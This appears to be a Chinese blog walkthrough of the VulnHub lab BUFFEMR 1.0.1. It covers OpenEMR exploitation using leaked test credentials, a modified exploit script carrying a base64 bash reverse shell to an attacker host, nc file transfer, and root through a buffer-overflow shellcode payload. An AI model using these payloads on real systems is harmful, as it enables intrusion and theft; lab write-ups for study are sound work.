Title

vulnhub靶场之BUFFEMR: 1.0.1

准备:

攻击机:虚拟机kali、本机win10。

靶机:BUFFEMR: 1.0.1,下载地址:https://download.vulnhub.com/buffemr/BuffEMR-v1.0.1.ova,下载后直接vbox打开即可。

知识点:openemr框架漏洞、源码敏感信息泄露、缓冲区溢出漏洞提权、gdb调试的使用。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.5。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.5,显示开放了21、22、80端口,开启了ftp服务、ssh服务、http服务。

FTP服务收集源码信息:

匿名登录ftp服务发现存在一个share文件夹,文件夹中包含了openemr文件家,openemr文件下是项目的源码信息。

将整个项目下载下来,命令:wget -r -np -nH ftp://172.20.10.5/share/openemr/。

在源码中查找信息,经过一番查找之后在tests文件夹的test.accounts文件中获得一个测试账户信息:admin/Monster123。

WEB服务:

访问80服务显示是一个默认页面,没什么信息,尝试访问下/openemr目录,命令:http://172.20.10.5/openemr,成功进入到登录页面。

使用获得账户信息:admin/Monster123进行登录,成功登录到系统。

使用searchsploit搜索下openemr框架的漏洞信息,发现openemr框架的漏洞基本和框架的版本信息有关,那就在web界面找下框架的版本信息,发现是:v5.0.1 (3)。

那就使用searchsploit搜索下openemr框架v5.0.1 (3)的漏洞信息,发现以下漏洞。

漏洞获取shell:

利用php/webapps/45161.py脚本获取shell权限,但是此脚本存在一点问题需要进行修改,修改前后如下

#下面是修改前的
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
#下面是修改后的
_cmd = "|| echo " + 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy82Njg4IDA+JjE=' + "|base64 -d|bash"

中间的加密的字符是自己对反弹shell的语句进行的base64.b64encode()加密,加密脚本如下

import base64

str = 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1'
mystr = bytes(str,encoding="utf-8")
print(base64.b64encode(mystr))

执行45161.py脚本成功获取到shell权限,命令:python 45161.py http://172.20.10.5/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1',这里后面的命令是不起作用的,因为在代码里写死了。或者将语句修改将加密后的bytes转换成字符串放到语句中,这样的话-c的命令就可以起作用。

提权-buffemr权限:

在var目录下发现一个user.zip文件,将该文件下载下来:

#kali
nc -nlvp 8888 > user.zip

#靶机shell
nc 172.20.10.7 8888 < user.zip

但是在解压user.zip文件的时需要密码,尝试使用john、fcrackzip进行爆破,但是均失败,后来在ftp服务中发现的openemr里发现了一组信息,该信息在openemr\sql目录下的keys.sql文件中,信息为:INSERT into ENCKEY (id, name, enckey) VALUES (1, "pdfkey", "c2FuM25jcnlwdDNkCg==");

尝试使用获得c2FuM25jcnlwdDNkCg==进行解密,解密成功,获得user.lst文件,文件信息是一组账户信息:buffemr/Iamgr00t。

使用获得账户信息:buffemr/Iamgr00t切换到buffemr账户权限,但是显示:must be run from a terminal,那我们就直接使用ssh连接,命令:ssh buffemr@172.20.10.5,成功获得buffemr账户权限。

获得buffemr权限后在/home/buffemr目录下发现user_flag.txt文件,读取该文件成功获取到flag值。

提权-root权限-缓冲区溢出提权:

通过:find / -perm -4000 -type f 2>/dev/null,来查找可疑文件,发现dontexecute文件。

查看dontexecute文件,发现其存在一个未进行限制的strcpy函数,那么这可能就存在内存溢出漏洞。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现已被禁止。

使用gdb进行调试程序,命令:gdb -q dontexecute。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x31724130。

计算下此地址:0x31724130的偏移量,命令:./pattern_offset.rb -q 0x31724130,得到其偏移量为512。

在网上找了一个shell:\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh,共53个字节,因此需要从512-53=459的地方开始执行我们的命令,因此payload:$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')。

#shell
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
#payload
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')

 退出gdb模式,使用dontexecute文件来执行我们的payload,命令:./dontexecute payload,成功获得root权限。

 获得root权限后在/root目录下发现Root_flag.txt文件,读取该文件成功获得flag值。

posted @ 2023-01-10 21:11  upfine  阅读(306)  评论(0编辑  收藏  举报